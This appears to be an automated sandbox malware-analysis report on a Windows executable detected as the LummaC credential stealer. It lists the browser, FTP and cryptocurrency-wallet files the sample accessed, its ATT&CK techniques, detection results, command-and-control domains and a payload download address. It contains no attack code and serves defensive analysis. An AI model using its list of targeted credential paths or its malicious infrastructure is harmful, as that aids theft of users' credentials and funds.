Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT			Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2183109610.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GnHq2ZaBUl.exe PID: 1360, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: GnHq2ZaBUl.exe PID: 1360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GnHq2ZaBUl.exe	53%	Virustotal		Browse
GnHq2ZaBUl.exe	63%	ReversingLabs	Win32.Infostealer.Tinba
GnHq2ZaBUl.exe	100%	Avira	TR/Crypt.TPM.Gen
GnHq2ZaBUl.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz/api3	100%	Avira URL Cloud	malware
https://mindhandru.buzz/op	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0	0%	Avira URL Cloud	safe
https://mindhandru.buzz/piy8	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apix	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exens	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe1520	0%	Avira URL Cloud	safe
https://mindhandru.buzz/t7	100%	Avira URL Cloud	malware
https://mindhandru.buzz/s18	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exent	0%	Avira URL Cloud	safe
https://mindhandru.buzz/pi4	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiT	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_95.5.dr	false		high
https://duckduckgo.com/chrome_newtab	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2177688962.00000000055F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_95.5.dr	false		high
https://mindhandru.buzz/op	GnHq2ZaBUl.exe, 00000000.00000003.2205311319.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_95.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_123.5.dr, chromecache_104.5.dr	false		high
http://go.micros	GnHq2ZaBUl.exe, 00000000.00000002.2466157609.0000000005590000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2438677362.000000000558F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/msignite_docs_banner	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_104.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_95.5.dr	false		high
https://mindhandru.buzz/api3	GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_95.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0	GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_95.5.dr, chromecache_124.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://github.com/gewarren	chromecache_95.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_95.5.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	GnHq2ZaBUl.exe, 00000000.00000002.2459910687.00000000005EA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_95.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_95.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://aka.ms/certhelp	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://mindhandru.buzz/	GnHq2ZaBUl.exe, 00000000.00000003.2177659960.00000000055F4000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183807083.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183419847.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259315774.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2153090631.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_95.5.dr	false		high
https://mindhandru.buzz/piy8	GnHq2ZaBUl.exe, 00000000.00000003.2205311319.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_95.5.dr	false		high
https://schema.org	chromecache_104.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://www.ecosia.org/newtab/	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GnHq2ZaBUl.exe, 00000000.00000003.2154514169.000000000587F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apix	GnHq2ZaBUl.exe, 00000000.00000003.2205439671.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2222836139.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2209563175.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_95.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_95.5.dr	false		high
http://185.215.113.16/	GnHq2ZaBUl.exe, 00000000.00000003.2344741335.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344789492.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_123.5.dr, chromecache_104.5.dr	false		high
http://185.215.113.16/off/def.exens	GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	GnHq2ZaBUl.exe, 00000000.00000003.2177688962.00000000055F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_95.5.dr	false		high
http://185.215.113.16/off/def.exent	GnHq2ZaBUl.exe, 00000000.00000003.2438733283.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352789247.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2461150724.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	GnHq2ZaBUl.exe, 00000000.00000003.2209691754.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2205439671.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2222836139.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183217473.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259499535.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/t7	GnHq2ZaBUl.exe, 00000000.00000003.2205350950.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259355703.00000000055F7000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259449680.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2209486422.00000000055F4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_123.5.dr, chromecache_104.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	GnHq2ZaBUl.exe, 00000000.00000003.2153633891.0000000005571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_123.5.dr, chromecache_104.5.dr	false		high
http://185.215.113.16/;	GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352789247.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe1520	GnHq2ZaBUl.exe, 00000000.00000003.2344741335.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344789492.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/js-cookie/js-cookie	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	GnHq2ZaBUl.exe, 00000000.00000003.2177832654.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi4	GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000B97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe	GnHq2ZaBUl.exe, 00000000.00000003.2438733283.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352789247.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2461150724.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_95.5.dr	false		high
https://mindhandru.buzz/s18	GnHq2ZaBUl.exe, 00000000.00000003.2222771908.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2259315774.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://channel9.msdn.com/	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GnHq2ZaBUl.exe, 00000000.00000003.2106154249.000000000559B000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106023589.000000000559E000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106084164.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_123.5.dr, chromecache_104.5.dr	false		high
https://mindhandru.buzz/apiT	GnHq2ZaBUl.exe, 00000000.00000003.2104814146.0000000000B97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581251
Start date and time:	2024-12-27 09:06:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GnHq2ZaBUl.exe renamed because original name is a hash value
Original Sample Name:	570eac129387ce77ceec28b6876407f5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@9/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.21.35, 173.194.220.84, 23.218.210.69, 172.217.19.238, 184.30.22.94, 142.250.181.142, 172.217.17.74, 172.217.19.234, 172.217.19.170, 216.58.208.234, 172.217.17.42, 172.217.19.202, 142.250.181.74, 142.250.181.138, 142.250.181.106, 142.250.181.10, 2.19.198.56, 23.32.238.130, 172.217.17.35, 172.217.17.46, 13.107.246.63, 52.149.20.212, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target GnHq2ZaBUl.exe, PID 1360 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

